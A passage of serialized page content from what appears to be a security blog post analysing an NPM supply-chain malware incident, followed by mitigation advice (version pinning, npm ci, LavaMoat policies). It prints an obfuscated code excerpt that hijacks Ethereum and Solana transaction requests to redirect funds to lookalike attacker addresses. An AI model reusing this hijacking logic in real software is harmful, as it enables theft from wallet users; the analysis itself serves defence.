});\n",{"type":22,"tag":264,"props":99517,"children":99518},{"class":1534,"line":4989},[99519,99523,99527],{"type":22,"tag":264,"props":99520,"children":99521},{"style":4328},[99522],{"type":27,"value":40513},{"type":22,"tag":264,"props":99524,"children":99525},{"style":1549},[99526],{"type":27,"value":99407},{"type":22,"tag":264,"props":99528,"children":99529},{"style":1539},[99530],{"type":27,"value":4322},{"type":22,"tag":264,"props":99532,"children":99533},{"class":1534,"line":4998},[99534],{"type":22,"tag":264,"props":99535,"children":99536},{"style":1539},[99537],{"type":27,"value":17878},{"type":22,"tag":1867,"props":99539,"children":99540},{"start":1560},[99541],{"type":22,"tag":1871,"props":99542,"children":99543},{},[99544],{"type":27,"value":99545},"The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.",{"type":22,"tag":618,"props":99547,"children":99549},{"code":99548,"language":32680,"meta":7,"className":32678,"style":7},"if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {\n  try {\n    const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);\n    _0x2c3d7e.params[0] = _0x39ad21;\n  } catch (_0x226343) {}\n} else {\n  if (\n    (_0x2c3d7e.method === 'solana_signTransaction' ||\n      _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n    _0x2c3d7e.params &&\n    _0x2c3d7e.params[0]\n  ) {\n    try {\n      let _0x5ad975 = _0x2c3d7e.params[0];\n      if (_0x5ad975.transaction) {\n        _0x5ad975 = _0x5ad975.transaction;\n      }\n      const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n      if (_0x2c3d7e.params[0].transaction) {\n        _0x2c3d7e.params[0].transaction = _0x5dbe63;\n      } else {\n        _0x2c3d7e.params[0] = _0x5dbe63;\n      }\n    } catch (_0x4b99fd) {}\n  }\n}\n",[99550],{"type":22,"tag":257,"props":99551,"children":99552},{"__ignoreMap":7},[99553,99632,99643,99700,99740,99765,99780,99791,99825,99858,99877,99904,99912,99923,99963,99992,100020,100027,100067,100110,100154,100169,100208,100215,100239,100246],{"type":22,"tag":264,"props":99554,"children":99555},{"class":1534,"line":1535},[99556,99560,99564,99569,99573,99577,99581,99586,99590,99595,99599,99604,99608,99612,99616,99620,99624,99628],{"type":22,"tag":264,"props":99557,"children":99558},{"style":4328},[99559],{"type":27,"value":16879},{"type":22,"tag":264,"props":99561,"children":99562},{"style":1539},[99563],{"type":27,"value":4370},{"type":22,"tag":264,"props":99565,"children":99566},{"style":1549},[99567],{"type":27,"value":99568},"_0x2c3d7e",{"type":22,"tag":264,"props":99570,"children":99571},{"style":1539},[99572],{"type":27,"value":210},{"type":22,"tag":264,"props":99574,"children":99575},{"style":1549},[99576],{"type":27,"value":39627},{"type":22,"tag":264,"props":99578,"children":99579},{"style":4309},[99580],{"type":27,"value":32737},{"type":22,"tag":264,"props":99582,"children":99583},{"style":1597},[99584],{"type":27,"value":99585}," 'eth_sendTransaction'",{"type":22,"tag":264,"props":99587,"children":99588},{"style":4309},[99589],{"type":27,"value":15484},{"type":22,"tag":264,"props":99591,"children":99592},{"style":1549},[99593],{"type":27,"value":99594}," _0x2c3d7e",{"type":22,"tag":264,"props":99596,"children":99597},{"style":1539},[99598],{"type":27,"value":210},{"type":22,"tag":264,"props":99600,"children":99601},{"style":1549},[99602],{"type":27,"value":99603},"params",{"type":22,"tag":264,"props":99605,"children":99606},{"style":4309},[99607],{"type":27,"value":15484},{"type":22,"tag":264,"props":99609,"children":99610},{"style":1549},[99611],{"type":27,"value":99594},{"type":22,"tag":264,"props":99613,"children":99614},{"style":1539},[99615],{"type":27,"value":210},{"type":22,"tag":264,"props":99617,"children":99618},{"style":1549},[99619],{"type":27,"value":99603},{"type":22,"tag":264,"props":99621,"children":99622},{"style":1539},[99623],{"type":27,"value":5045},{"type":22,"tag":264,"props":99625,"children":99626},{"style":4344},[99627],{"type":27,"value":5334},{"type":22,"tag":264,"props":99629,"children":99630},{"style":1539},[99631],{"type":27,"value":41939},{"type":22,"tag":264,"props":99633,"children":99634},{"class":1534,"line":1545},[99635,99639],{"type":22,"tag":264,"props":99636,"children":99637},{"style":4328},[99638],{"type":27,"value":98671},{"type":22,"tag":264,"props":99640,"children":99641},{"style":1539},[99642],{"type":27,"value":4594},{"type":22,"tag":264,"props":99644,"children":99645},{"class":1534,"line":1560},[99646,99650,99655,99659,99664,99668,99672,99676,99680,99684,99688,99692,99696],{"type":22,"tag":264,"props":99647,"children":99648},{"style":4293},[99649],{"type":27,"value":52989},{"type":22,"tag":264,"props":99651,"children":99652},{"style":1549},[99653],{"type":27,"value":99654}," _0x39ad21",{"type":22,"tag":264,"props":99656,"children":99657},{"style":4309},[99658],{"type":27,"value":4312},{"type":22,"tag":264,"props":99660,"children":99661},{"style":4401},[99662],{"type":27,"value":99663}," _0x1089ae",{"type":22,"tag":264,"props":99665,"children":99666},{"style":1539},[99667],{"type":27,"value":2660},{"type":22,"tag":264,"props":99669,"children":99670},{"style":1549},[99671],{"type":27,"value":99568},{"type":22,"tag":264,"props":99673,"children":99674},{"style":1539},[99675],{"type":27,"value":210},{"type":22,"tag":264,"props":99677,"children":99678},{"style":1549},[99679],{"type":27,"value":99603},{"type":22,"tag":264,"props":99681,"children":99682},{"style":1539},[99683],{"type":27,"value":5045},{"type":22,"tag":264,"props":99685,"children":99686},{"style":4344},[99687],{"type":27,"value":5334},{"type":22,"tag":264,"props":99689,"children":99690},{"style":1539},[99691],{"type":27,"value":24361},{"type":22,"tag":264,"props":99693,"children":99694},{"style":4293},[99695],{"type":27,"value":273},{"type":22,"tag":264,"props":99697,"children":99698},{"style":1539},[99699],{"type":27,"value":5142},{"type":22,"tag":264,"props":99701,"children":99702},{"class":1534,"line":1569},[99703,99708,99712,99716,99720,99724,99728,99732,99736],{"type":22,"tag":264,"props":99704,"children":99705},{"style":1549},[99706],{"type":27,"value":99707},"    _0x2c3d7e",{"type":22,"tag":264,"props":99709,"children":99710},{"style":1539},[99711],{"type":27,"value":210},{"type":22,"tag":264,"props":99713,"children":99714},{"style":1549},[99715],{"type":27,"value":99603},{"type":22,"tag":264,"props":99717,"children":99718},{"style":1539},[99719],{"type":27,"value":5045},{"type":22,"tag":264,"props":99721,"children":99722},{"style":4344},[99723],{"type":27,"value":5334},{"type":22,"tag":264,"props":99725,"children":99726},{"style":1539},[99727],{"type":27,"value":9956},{"type":22,"tag":264,"props":99729,"children":99730},{"style":4309},[99731],{"type":27,"value":429},{"type":22,"tag":264,"props":99733,"children":99734},{"style":1549},[99735],{"type":27,"value":99654},{"type":22,"tag":264,"props":99737,"children":99738},{"style":1539},[99739],{"type":27,"value":4322},{"type":22,"tag":264,"props":99741,"children":99742},{"class":1534,"line":1583},[99743,99747,99751,99755,99760],{"type":22,"tag":264,"props":99744,"children":99745},{"style":1539},[99746],{"type":27,"value":32783},{"type":22,"tag":264,"props":99748,"children":99749},{"style":4328},[99750],{"type":27,"value":49731},{"type":22,"tag":264,"props":99752,"children":99753},{"style":1539},[99754],{"type":27,"value":4370},{"type":22,"tag":264,"props":99756,"children":99757},{"style":1549},[99758],{"type":27,"value":99759},"_0x226343",{"type":22,"tag":264,"props":99761,"children":99762},{"style":1539},[99763],{"type":27,"value":99764},") {}\n",{"type":22,"tag":264,"props":99766,"children":99767},{"class":1534,"line":1603},[99768,99772,99776],{"type":22,"tag":264,"props":99769,"children":99770},{"style":1539},[99771],{"type":27,"value":48193},{"type":22,"tag":264,"props":99773,"children":99774},{"style":4328},[99775],{"type":27,"value":4619},{"type":22,"tag":264,"props":99777,"children":99778},{"style":1539},[99779],{"type":27,"value":4594},{"type":22,"tag":264,"props":99781,"children":99782},{"class":1534,"line":1612},[99783,99787],{"type":22,"tag":264,"props":99784,"children":99785},{"style":4328},[99786],{"type":27,"value":32709},{"type":22,"tag":264,"props":99788,"children":99789},{"style":1539},[99790],{"type":27,"value":79892},{"type":22,"tag":264,"props":99792,"children":99793},{"class":1534,"line":1621},[99794,99799,99803,99807,99811,99815,99820],{"type":22,"tag":264,"props":99795,"children":99796},{"style":1539},[99797],{"type":27,"value":99798},"    (",{"type":22,"tag":264,"props":99800,"children":99801},{"style":1549},[99802],{"type":27,"value":99568},{"type":22,"tag":264,"props":99804,"children":99805},{"style":1539},[99806],{"type":27,"value":210},{"type":22,"tag":264,"props":99808,"children":99809},{"style":1549},[99810],{"type":27,"value":39627},{"type":22,"tag":264,"props":99812,"children":99813},{"style":4309},[99814],{"type":27,"value":32737},{"type":22,"tag":264,"props":99816,"children":99817},{"style":1597},[99818],{"type":27,"value":99819}," 'solana_signTransaction'",{"type":22,"tag":264,"props":99821,"children":99822},{"style":4309},[99823],{"type":27,"value":99824}," ||\n",{"type":22,"tag":264,"props":99826,"children":99827},{"class":1534,"line":1629},[99828,99833,99837,99841,99845,99850,99854],{"type":22,"tag":264,"props":99829,"children":99830},{"style":1549},[99831],{"type":27,"value":99832},"      _0x2c3d7e",{"type":22,"tag":264,"props":99834,"children":99835},{"style":1539},[99836],{"type":27,"value":210},{"type":22,"tag":264,"props":99838,"children":99839},{"style":1549},[99840],{"type":27,"value":39627},{"type":22,"tag":264,"props":99842,"children":99843},{"style":4309},[99844],{"type":27,"value":32737},{"type":22,"tag":264,"props":99846,"children":99847},{"style":1597},[99848],{"type":27,"value":99849}," 'solana_signAndSendTransaction'",{"type":22,"tag":264,"props":99851,"children":99852},{"style":1539},[99853],{"type":27,"value":4390},{"type":22,"tag":264,"props":99855,"children":99856},{"style":4309},[99857],{"type":27,"value":85140},{"type":22,"tag":264,"props":99859,"children":99860},{"class":1534,"line":1642},[99861,99865,99869,99873],{"type":22,"tag":264,"props":99862,"children":99863},{"style":1549},[99864],{"type":27,"value":99707},{"type":22,"tag":264,"props":99866,"children":99867},{"style":1539},[99868],{"type":27,"value":210},{"type":22,"tag":264,"props":99870,"children":99871},{"style":1549},[99872],{"type":27,"value":99603},{"type":22,"tag":264,"props":99874,"children":99875},{"style":4309},[99876],{"type":27,"value":54005},{"type":22,"tag":264,"props":99878,"children":99879},{"class":1534,"line":1660},[99880,99884,99888,99892,99896,99900],{"type":22,"tag":264,"props":99881,"children":99882},{"style":1549},[99883],{"type":27,"value":99707},{"type":22,"tag":264,"props":99885,"children":99886},{"style":1539},[99887],{"type":27,"value":210},{"type":22,"tag":264,"props":99889,"children":99890},{"style":1549},[99891],{"type":27,"value":99603},{"type":22,"tag":264,"props":99893,"children":99894},{"style":1539},[99895],{"type":27,"value":5045},{"type":22,"tag":264,"props":99897,"children":99898},{"style":4344},[99899],{"type":27,"value":5334},{"type":22,"tag":264,"props":99901,"children":99902},{"style":1539},[99903],{"type":27,"value":13071},{"type":22,"tag":264,"props":99905,"children":99906},{"class":1534,"line":1668},[99907],{"type":22,"tag":264,"props":99908,"children":99909},{"style":1539},[99910],{"type":27,"value":99911},"  ) {\n",{"type":22,"tag":264,"props":99913,"children":99914},{"class":1534,"line":1677},[99915,99919],{"type":22,"tag":264,"props":99916,"children":99917},{"style":4328},[99918],{"type":27,"value":71306},{"type":22,"tag":264,"props":99920,"children":99921},{"style":1539},[99922],{"type":27,"value":4594},{"type":22,"tag":264,"props":99924,"children":99925},{"class":1534,"line":1686},[99926,99930,99935,99939,99943,99947,99951,99955,99959],{"type":22,"tag":264,"props":99927,"children":99928},{"style":4293},[99929],{"type":27,"value":9369},{"type":22,"tag":264,"props":99931,"children":99932},{"style":1549},[99933],{"type":27,"value":99934}," _0x5ad975",{"type":22,"tag":264,"props":99936,"children":99937},{"style":4309},[99938],{"type":27,"value":4312},{"type":22,"tag":264,"props":99940,"children":99941},{"style":1549},[99942],{"type":27,"value":99594},{"type":22,"tag":264,"props":99944,"children":99945},{"style":1539},[99946],{"type":27,"value":210},{"type":22,"tag":264,"props":99948,"children":99949},{"style":1549},[99950],{"type":27,"value":99603},{"type":22,"tag":264,"props":99952,"children":99953},{"style":1539},[99954],{"type":27,"value":5045},{"type":22,"tag":264,"props":99956,"children":99957},{"style":4344},[99958],{"type":27,"value":5334},{"type":22,"tag":264,"props":99960,"children":99961},{"style":1539},[99962],{"type":27,"value":32889},{"type":22,"tag":264,"props":99964,"children":99965},{"class":1534,"line":4948},[99966,99970,99974,99979,99983,99988],{"type":22,"tag":264,"props":99967,"children":99968},{"style":4328},[99969],{"type":27,"value":40601},{"type":22,"tag":264,"props":99971,"children":99972},{"style":1539},[99973],{"type":27,"value":4370},{"type":22,"tag":264,"props":99975,"children":99976},{"style":1549},[99977],{"type":27,"value":99978},"_0x5ad975",{"type":22,"tag":264,"props":99980,"children":99981},{"style":1539},[99982],{"type":27,"value":210},{"type":22,"tag":264,"props":99984,"children":99985},{"style":1549},[99986],{"type":27,"value":99987},"transaction",{"type":22,"tag":264,"props":99989,"children":99990},{"style":1539},[99991],{"type":27,"value":16103},{"type":22,"tag":264,"props":99993,"children":99994},{"class":1534,"line":4957},[99995,100000,100004,100008,100012,100016],{"type":22,"tag":264,"props":99996,"children":99997},{"style":1549},[99998],{"type":27,"value":99999},"        _0x5ad975",{"type":22,"tag":264,"props":100001,"children":100002},{"style":4309},[100003],{"type":27,"value":4312},{"type":22,"tag":264,"props":100005,"children":100006},{"style":1549},[100007],{"type":27,"value":99934},{"type":22,"tag":264,"props":100009,"children":100010},{"style":1539},[100011],{"type":27,"value":210},{"type":22,"tag":264,"props":100013,"children":100014},{"style":1549},[100015],{"type":27,"value":99987},{"type":22,"tag":264,"props":100017,"children":100018},{"style":1539},[100019],{"type":27,"value":4322},{"type":22,"tag":264,"props":100021,"children":100022},{"class":1534,"line":4980},[100023],{"type":22,"tag":264,"props":100024,"children":100025},{"style":1539},[100026],{"type":27,"value":1609},{"type":22,"tag":264,"props":100028,"children":100029},{"class":1534,"line":4989},[100030,100034,100039,100043,100047,100051,100055,100059,100063],{"type":22,"tag":264,"props":100031,"children":100032},{"style":4293},[100033],{"type":27,"value":32862},{"type":22,"tag":264,"props":100035,"children":100036},{"style":1549},[100037],{"type":27,"value":100038}," _0x5dbe63",{"type":22,"tag":264,"props":100040,"children":100041},{"style":4309},[100042],{"type":27,"value":4312},{"type":22,"tag":264,"props":100044,"children":100045},{"style":4401},[100046],{"type":27,"value":99663},{"type":22,"tag":264,"props":100048,"children":100049},{"style":1539},[100050],{"type":27,"value":2660},{"type":22,"tag":264,"props":100052,"children":100053},{"style":1549},[100054],{"type":27,"value":99978},{"type":22,"tag":264,"props":100056,"children":100057},{"style":1539},[100058],{"type":27,"value":4380},{"type":22,"tag":264,"props":100060,"children":100061},{"style":4293},[100062],{"type":27,"value":9469},{"type":22,"tag":264,"props":100064,"children":100065},{"style":1539},[100066],{"type":27,"value":5142},{"type":22,"tag":264,"props":100068,"children":100069},{"class":1534,"line":4998},[100070,100074,100078,100082,100086,100090,100094,100098,100102,100106],{"type":22,"tag":264,"props":100071,"children":100072},{"style":4328},[100073],{"type":27,"value":40601},{"type":22,"tag":264,"props":100075,"children":100076},{"style":1539},[100077],{"type":27,"value":4370},{"type":22,"tag":264,"props":100079,"children":100080},{"style":1549},[100081],{"type":27,"value":99568},{"type":22,"tag":264,"props":100083,"children":100084},{"style":1539},[100085],{"type":27,"value":210},{"type":22,"tag":264,"props":100087,"children":100088},{"style":1549},[100089],{"type":27,"value":99603},{"type":22,"tag":264,"props":100091,"children":100092},{"style":1539},[100093],{"type":27,"value":5045},{"type":22,"tag":264,"props":100095,"children":100096},{"style":4344},[100097],{"type":27,"value":5334},{"type":22,"tag":264,"props":100099,"children":100100},{"style":1539},[100101],{"type":27,"value":51669},{"type":22,"tag":264,"props":100103,"children":100104},{"style":1549},[100105],{"type":27,"value":99987},{"type":22,"tag":264,"props":100107,"children":100108},{"style":1539},[100109],{"type":27,"value":16103},{"type":22,"tag":264,"props":100111,"children":100112},{"class":1534,"line":5067},[100113,100118,100122,100126,100130,100134,100138,100142,100146,100150],{"type":22,"tag":264,"props":100114,"children":100115},{"style":1549},[100116],{"type":27,"value":100117},"        _0x2c3d7e",{"type":22,"tag":264,"props":100119,"children":100120},{"style":1539},[100121],{"type":27,"value":210},{"type":22,"tag":264,"props":100123,"children":100124},{"style":1549},[100125],{"type":27,"value":99603},{"type":22,"tag":264,"props":100127,"children":100128},{"style":1539},[100129],{"type":27,"value":5045},{"type":22,"tag":264,"props":100131,"children":100132},{"style":4344},[100133],{"type":27,"value":5334},{"type":22,"tag":264,"props":100135,"children":100136},{"style":1539},[100137],{"type":27,"value":51669},{"type":22,"tag":264,"props":100139,"children":100140},{"style":1549},[100141],{"type":27,"value":99987},{"type":22,"tag":264,"props":100143,"children":100144},{"style":4309},[100145],{"type":27,"value":4312},{"type":22,"tag":264,"props":100147,"children":100148},{"style":1549},[100149],{"type":27,"value":100038},{"type":22,"tag":264,"props":100151,"children":100152},{"style":1539},[100153],{"type":27,"value":4322},{"type":22,"tag":264,"props":100155,"children":100156},{"class":1534,"line":5075},[100157,100161,100165],{"type":22,"tag":264,"props":100158,"children":100159},{"style":1539},[100160],{"type":27,"value":40254},{"type":22,"tag":264,"props":100162,"children":100163},{"style":4328},[100164],{"type":27,"value":4619},{"type":22,"tag":264,"props":100166,"children":100167},{"style":1539},[100168],{"type":27,"value":4594},{"type":22,"tag":264,"props":100170,"children":100171},{"class":1534,"line":5105},[100172,100176,100180,100184,100188,100192,100196,100200,100204],{"type":22,"tag":264,"props":100173,"children":100174},{"style":1549},[100175],{"type":27,"value":100117},{"type":22,"tag":264,"props":100177,"children":100178},{"style":1539},[100179],{"type":27,"value":210},{"type":22,"tag":264,"props":100181,"children":100182},{"style":1549},[100183],{"type":27,"value":99603},{"type":22,"tag":264,"props":100185,"children":100186},{"style":1539},[100187],{"type":27,"value":5045},{"type":22,"tag":264,"props":100189,"children":100190},{"style":4344},[100191],{"type":27,"value":5334},{"type":22,"tag":264,"props":100193,"children":100194},{"style":1539},[100195],{"type":27,"value":9956},{"type":22,"tag":264,"props":100197,"children":100198},{"style":4309},[100199],{"type":27,"value":429},{"type":22,"tag":264,"props":100201,"children":100202},{"style":1549},[100203],{"type":27,"value":100038},{"type":22,"tag":264,"props":100205,"children":100206},{"style":1539},[100207],{"type":27,"value":4322},{"type":22,"tag":264,"props":100209,"children":100210},{"class":1534,"line":5113},[100211],{"type":22,"tag":264,"props":100212,"children":100213},{"style":1539},[100214],{"type":27,"value":1609},{"type":22,"tag":264,"props":100216,"children":100217},{"class":1534,"line":5145},[100218,100222,100226,100230,100235],{"type":22,"tag":264,"props":100219,"children":100220},{"style":1539},[100221],{"type":27,"value":17079},{"type":22,"tag":264,"props":100223,"children":100224},{"style":4328},[100225],{"type":27,"value":49731},{"type":22,"tag":264,"props":100227,"children":100228},{"style":1539},[100229],{"type":27,"value":4370},{"type":22,"tag":264,"props":100231,"children":100232},{"style":1549},[100233],{"type":27,"value":100234},"_0x4b99fd",{"type":22,"tag":264,"props":100236,"children":100237},{"style":1539},[100238],{"type":27,"value":99764},{"type":22,"tag":264,"props":100240,"children":100241},{"class":1534,"line":5153},[100242],{"type":22,"tag":264,"props":100243,"children":100244},{"style":1539},[100245],{"type":27,"value":7163},{"type":22,"tag":264,"props":100247,"children":100248},{"class":1534,"line":5213},[100249],{"type":22,"tag":264,"props":100250,"children":100251},{"style":1539},[100252],{"type":27,"value":1692},{"type":22,"tag":181,"props":100254,"children":100256},{"id":100255},"impact-of-the-attack",[100257],{"type":27,"value":100258},"Impact of the Attack",{"type":22,"tag":23,"props":100260,"children":100261},{},[100262],{"type":27,"value":100263},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":22,"tag":169,"props":100265,"children":100267},{"id":100266},"why-it-will-happen-again",[100268],{"type":27,"value":100269},"Why It Will Happen Again",{"type":22,"tag":23,"props":100271,"children":100272},{},[100273],{"type":27,"value":100274},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":22,"tag":23,"props":100276,"children":100277},{},[100278],{"type":27,"value":100279},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":22,"tag":169,"props":100281,"children":100283},{"id":100282},"what-developers-can-do",[100284],{"type":27,"value":100285},"What Developers Can Do",{"type":22,"tag":23,"props":100287,"children":100288},{},[100289],{"type":27,"value":100290},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":22,"tag":181,"props":100292,"children":100294},{"id":100293},"_1-version-pinning-in-packagejson",[100295,100297],{"type":27,"value":100296},"1. Version pinning in ",{"type":22,"tag":257,"props":100298,"children":100300},{"className":100299},[],[100301],{"type":27,"value":100302},"package.json",{"type":22,"tag":23,"props":100304,"children":100305},{},[100306],{"type":27,"value":100307},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":22,"tag":23,"props":100309,"children":100310},{},[100311,100313,100319,100321,100326,100328,100333],{"type":27,"value":100312},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":22,"tag":257,"props":100314,"children":100316},{"className":100315},[],[100317],{"type":27,"value":100318},"npm install",{"type":27,"value":100320},". To pin it, just make sure to remove the caret ",{"type":22,"tag":257,"props":100322,"children":100324},{"className":100323},[],[100325],{"type":27,"value":50254},{"type":27,"value":100327}," symbol before the version in ",{"type":22,"tag":257,"props":100329,"children":100331},{"className":100330},[],[100332],{"type":27,"value":100302},{"type":27,"value":5785},{"type":22,"tag":618,"props":100335,"children":100337},{"code":100336,"language":1527,"meta":7,"className":1525,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[100338],{"type":22,"tag":257,"props":100339,"children":100340},{"__ignoreMap":7},[100341,100362,100383,100404],{"type":22,"tag":264,"props":100342,"children":100343},{"class":1534,"line":1535},[100344,100349,100353,100358],{"type":22,"tag":264,"props":100345,"children":100346},{"style":1597},[100347],{"type":27,"value":100348},"\"@react-native-async-storage/async-storage\"",{"type":22,"tag":264,"props":100350,"children":100351},{"style":1539},[100352],{"type":27,"value":1594},{"type":22,"tag":264,"props":100354,"children":100355},{"style":1597},[100356],{"type":27,"value":100357},"\"1.23.1\"",{"type":22,"tag":264,"props":100359,"children":100360},{"style":1539},[100361],{"type":27,"value":4812},{"type":22,"tag":264,"props":100363,"children":100364},{"class":1534,"line":1545},[100365,100370,100374,100379],{"type":22,"tag":264,"props":100366,"children":100367},{"style":1597},[100368],{"type":27,"value":100369},"\"@react-native-community/datetimepicker\"",{"type":22,"tag":264,"props":100371,"children":100372},{"style":1539},[100373],{"type":27,"value":1594},{"type":22,"tag":264,"props":100375,"children":100376},{"style":1597},[100377],{"type":27,"value":100378},"\"8.3.0\"",{"type":22,"tag":264,"props":100380,"children":100381},{"style":1539},[100382],{"type":27,"value":4812},{"type":22,"tag":264,"props":100384,"children":100385},{"class":1534,"line":1560},[100386,100391,100395,100400],{"type":22,"tag":264,"props":100387,"children":100388},{"style":1597},[100389],{"type":27,"value":100390},"\"@react-native-community/netinfo\"",{"type":22,"tag":264,"props":100392,"children":100393},{"style":1539},[100394],{"type":27,"value":1594},{"type":22,"tag":264,"props":100396,"children":100397},{"style":1597},[100398],{"type":27,"value":100399},"\"11.4.1\"",{"type":22,"tag":264,"props":100401,"children":100402},{"style":1539},[100403],{"type":27,"value":4812},{"type":22,"tag":264,"props":100405,"children":100406},{"class":1534,"line":1569},[100407,100412,100416],{"type":22,"tag":264,"props":100408,"children":100409},{"style":1597},[100410],{"type":27,"value":100411},"\"@react-native-picker/picker\"",{"type":22,"tag":264,"props":100413,"children":100414},{"style":1539},[100415],{"type":27,"value":1594},{"type":22,"tag":264,"props":100417,"children":100418},{"style":1597},[100419],{"type":27,"value":100420},"\"2.11.0\"\n",{"type":22,"tag":181,"props":100422,"children":100424},{"id":100423},"_2-use-npm-ci",[100425,100427],{"type":27,"value":100426},"2. Use ",{"type":22,"tag":257,"props":100428,"children":100430},{"className":100429},[],[100431],{"type":27,"value":100432},"npm ci",{"type":22,"tag":23,"props":100434,"children":100435},{},[100436,100441,100443,100449,100451,100456],{"type":22,"tag":257,"props":100437,"children":100439},{"className":100438},[],[100440],{"type":27,"value":100432},{"type":27,"value":100442}," uses the dependency versions from ",{"type":22,"tag":257,"props":100444,"children":100446},{"className":100445},[],[100447],{"type":27,"value":100448},"package-lock.json",{"type":27,"value":100450}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":22,"tag":257,"props":100452,"children":100454},{"className":100453},[],[100455],{"type":27,"value":100318},{"type":27,"value":100457}," when adding a new package or updating an existing one.",{"type":22,"tag":181,"props":100459,"children":100461},{"id":100460},"_3-implement-lavamoat",[100462,100464],{"type":27,"value":100463},"3. Implement ",{"type":22,"tag":69,"props":100465,"children":100468},{"href":100466,"rel":100467},"https://github.com/LavaMoat/LavaMoat/tree/main",[73],[100469],{"type":22,"tag":242,"props":100470,"children":100471},{},[100472],{"type":27,"value":100473},"Lavamoat",{"type":22,"tag":23,"props":100475,"children":100476},{},[100477],{"type":27,"value":100478},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":22,"tag":23,"props":100480,"children":100481},{},[100482],{"type":27,"value":100483},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":22,"tag":618,"props":100485,"children":100487},{"code":100486,"language":1527,"meta":7,"className":1525,"style":7},"\"resources\": {\n    \"@ethereumjs/util>@ethereumjs/rlp\": {\n      \"globals\": {\n        \"TextEncoder\": true\n      }\n    },\n    \"@ethereumjs/util\": {\n      \"globals\": {\n        \"console.warn\": true,\n        \"fetch\": true\n      },\n      \"packages\": {\n        \"@ethereumjs/util>@ethereumjs/rlp\": true,\n        \"@ethereumjs/util>ethereum-cryptography\": true\n      }\n    }\n}\n",[100488],{"type":22,"tag":257,"props":100489,"children":100490},{"__ignoreMap":7},[100491,100503,100515,100526,100542,100549,100556,100568,100579,100599,100615,100622,100633,100653,100669,100676,100683],{"type":22,"tag":264,"props":100492,"children":100493},{"class":1534,"line":1535},[100494,100499],{"type":22,"tag":264,"props":100495,"children":100496},{"style":1597},[100497],{"type":27,"value":100498},"\"resources\"",{"type":22,"tag":264,"props":100500,"children":100501},{"style":1539},[100502],{"type":27,"value":1580},{"type":22,"tag":264,"props":100504,"children":100505},{"class":1534,"line":1545},[100506,100511],{"type":22,"tag":264,"props":100507,"children":100508},{"style":1549},[100509],{"type":27,"value":100510},"    \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":22,"tag":264,"props":100512,"children":100513},{"style":1539},[100514],{"type":27,"value":1580},{"type":22,"tag":264,"props":100516,"children":100517},{"class":1534,"line":1560},[100518,100522],{"type":22,"tag":264,"props":100519,"children":100520},{"style":1549},[100521],{"type":27,"value":38344},{"type":22,"tag":264,"props":100523,"children":100524},{"style":1539},[100525],{"type":27,"value":1580},{"type":22,"tag":264,"props":100527,"children":100528},{"class":1534,"line":1569},[100529,100534,100538],{"type":22,"tag":264,"props":100530,"children":100531},{"style":1549},[100532],{"type":27,"value":100533},"        \"TextEncoder\"",{"type":22,"tag":264,"props":100535,"children":100536},{"style":1539},[100537],{"type":27,"value":1594},{"type":22,"tag":264,"props":100539,"children":100540},{"style":4293},[100541],{"type":27,"value":38505},{"type":22,"tag":264,"props":100543,"children":100544},{"class":1534,"line":1583},[100545],{"type":22,"tag":264,"props":100546,"children":100547},{"style":1539},[100548],{"type":27,"value":1609},{"type":22,"tag":264,"props":100550,"children":100551},{"class":1534,"line":1603},[100552],{"type":22,"tag":264,"props":100553,"children":100554},{"style":1539},[100555],{"type":27,"value":1618},{"type":22,"tag":264,"props":100557,"children":100558},{"class":1534,"line":1612},[100559,100564],{"type":22,"tag":264,"props":100560,"children":100561},{"style":1549},[100562],{"type":27,"value":100563},"    \"@ethereumjs/util\"",{"type":22,"tag":264,"props":100565,"children":100566},{"style":1539},[100567],{"type":27,"value":1580},{"type":22,"tag":264,"props":100569,"children":100570},{"class":1534,"line":1621},[100571,100575],{"type":22,"tag":264,"props":100572,"children":100573},{"style":1549},[100574],{"type":27,"value":38344},{"type":22,"tag":264,"props":100576,"children":100577},{"style":1539},[100578],{"type":27,"value":1580},{"type":22,"tag":264,"props":100580,"children":100581},{"class":1534,"line":1629},[100582,100587,100591,100595],{"type":22,"tag":264,"props":100583,"children":100584},{"style":1549},[100585],{"type":27,"value":100586},"        \"console.warn\"",{"type":22,"tag":264,"props":100588,"children":100589},{"style":1539},[100590],{"type":27,"value":1594},{"type":22,"tag":264,"props":100592,"children":100593},{"style":4293},[100594],{"type":27,"value":273},{"type":22,"tag":264,"props":100596,"children":100597},{"style":1539},[100598],{"type":27,"value":4812},{"type":22,"tag":264,"props":100600,"children":100601},{"class":1534,"line":1642},[100602,100607,100611],{"type":22,"tag":264,"props":100603,"children":100604},{"style":1549},[100605],{"type":27,"value":100606},"        